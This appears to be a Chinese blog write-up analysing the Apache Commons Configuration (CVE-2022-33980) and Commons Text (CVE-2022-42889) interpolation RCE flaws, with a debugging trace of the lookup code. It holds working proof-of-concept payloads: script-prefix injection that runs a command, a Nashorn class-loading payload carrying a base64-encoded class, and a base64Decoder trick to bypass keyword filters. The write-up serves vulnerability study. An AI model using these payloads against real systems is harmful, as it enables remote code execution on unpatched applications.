0%

CVE-2022-33980、CVE-2022-42889

前言

Apache Commons Configuration:CVE-2022-33980的分析以及Apache Commons Text组件的后续分析:CVE-2022-42889

漏洞描述

Apache发布安全公告,修复了一个存在Apache Commons Configuration组件中的远程代码执行漏洞。该漏洞是由于Apache Commons Configuration 在执行变量interpolation时,允许动态评估和扩展属性,interpolation的标准格式为”${prefix:name}”,其中”prefix”用于定位执行interpolation的 org.apache.commons.configuration2.interpol.Lookup类。当用户调用Lookup类时可能导致攻击者执行任意代码或远程连接服务器。具体实例为:

  • “script” - execute expressions using the JVM script execution engine (javax.script) -
  • “dns” - resolve dns records -
  • “url” - load values from urls, including from remote servers

相关介绍

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。简单的使用见:commons-configuration使用介绍

影响版本

2.4 <= Apache Commons Configuration <= 2.7

环境搭建

maven导入

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>

Demo.java

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Demo {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
//创建示例
ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
// 解析字符串
Object interpolate = configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}");
}
}

简要分析

根据漏洞信息,组件的Variable Interpolation(变量插值)功能可以动态的执行和扩展,相关格式为 ${prefix:name} 更新后默认情况下不启用script,dns,url。

大概率问题出现在script。

image-20221014140919371

查找关于Variable Interpolation文档

image-20221014141752415

其中 Commons configuration 可通过 getDefaultPrefixLookups 获取所有内置的prefix(前缀),根据不同的前缀执行不同的功能

image-20221014142017823

有以下前缀

date
localhost
const
urlDecoder
dns
base64Encoder
env
sys
script
url
file
java
resourceBundle
xml
base64Decoder
properties
urlEncoder

看到script

image-20221014143936013

后续其实能发现都转到了org.apache.commons.text.lookup.StringLookupFactory类中的方法进行解析

image-20221014144303429

image-20221014144536251

所以可能利用 Nashorn JavaScript 脚本引擎调用eval执行java代码

动态调试

interpolate()

image-20221014145437089

looksLikeSingleVariable() 判断以 ${ 开头,以 } 结尾的格式

image-20221014145537578

resolveSingleVariable() 调用 extractVariableName() 去掉格式符号${}

image-20221014145654407

resolve()分离prefix与name,value字段通过寻找然后实例prefix相对应的对象,再调用其lookup方法。

image-20221014150006027

fetchLookupForPrefix(),直接从 prefixLookups 这个Map对象属性中获取script对应的 StringLookupAdapter 类,其中定义stringLookup为scriptStringLookup实例

image-20221014150353402

lookup()方法中调用ScriptStringLookup#lookup()

image-20221014151226841

跟进lookup(),Nashorn引擎调用eval()

image-20221014151618077

走到evalImpl(),执行命令。

image-20221014151828625

关于Apache Commons text

昨晚看Y4师傅发了关于apache commons text,既然上面也涉及到apache commons text,再分析一下text吧。

当天分析时发现,CVE编号已经添加上了:NVD - CVE-2022-42889 (nist.gov)

简要分析

官网更新1.10.0版本

image-20221014152603481

看到其中一条记录,还是那三个prefix,这里多出来了 StringSubstitutor.createInterpolator()

image-20221014152942668

翻看文档

image-20221014153749272

可以看到功能其实差不多,并且肯定支持script。

动态调试

跟进replace()

image-20221014155206612

在substitute()中通过resolveVariable()解析内容

image-20221014155357675

resolveVariable()中就非常熟悉了,获取所有的prefix

image-20221014154820375

然后就不用跟了,调用ScriptStringLookup#lookup(),Nashorn引擎调用eval()

image-20221014155041623

POC

maven

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>

poc:

import org.apache.commons.text.StringSubstitutor;

public class Demo {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String text = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}");

}
}

利用nashorn调用SecureClassLoader进行类加载

import org.apache.commons.text.StringSubstitutor;

public class Demo {
public static void main(String[] args) {
String poc = "var clazz = java.security.SecureClassLoader.class;var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);method.setAccessible(true);var classBytes = 'yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQAYBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHABkHABcBAApTb3VyY2VGaWxlAQAIcG9jLmphdmEMAAkACgcAGwwAHAAdAQAEY2FsYwwAHgAfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAIAAKAQADcG9jAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAEAAQAJAAoAAQALAAAAYAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAAAgAEAAQADQAHABAABQARAAYAFQAIAA0AAAAQAAL/ABAAAQcADgABBwAPBAABABAAAAACABE=';var bytes = java.util.Base64.getDecoder().decode(classBytes);var constructor = clazz.getDeclaredConstructor();constructor.setAccessible(true);var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);clz.newInstance();";

StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String text = interpolator.replace("${script:nashorn:"+poc+"}");
System.out.println(text);
}
}

bypass关键字

如果过滤了script,url,file等关键字,可以利用base64Decoder进行绕过,

原理就是在调用完一次解析替换后,会对产生的新值再一次进行解析,判断是否含有 ${},如果有就递归再次解析

${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKX0=}

参考

CVE-2022-42889: Apache Commons Text prior to 1.10.0 allows RCE when applied to untrusted input due to insecure interpolation defaults-Apache Mail Archives

Commons Text – Commons Text - User guide (apache.org)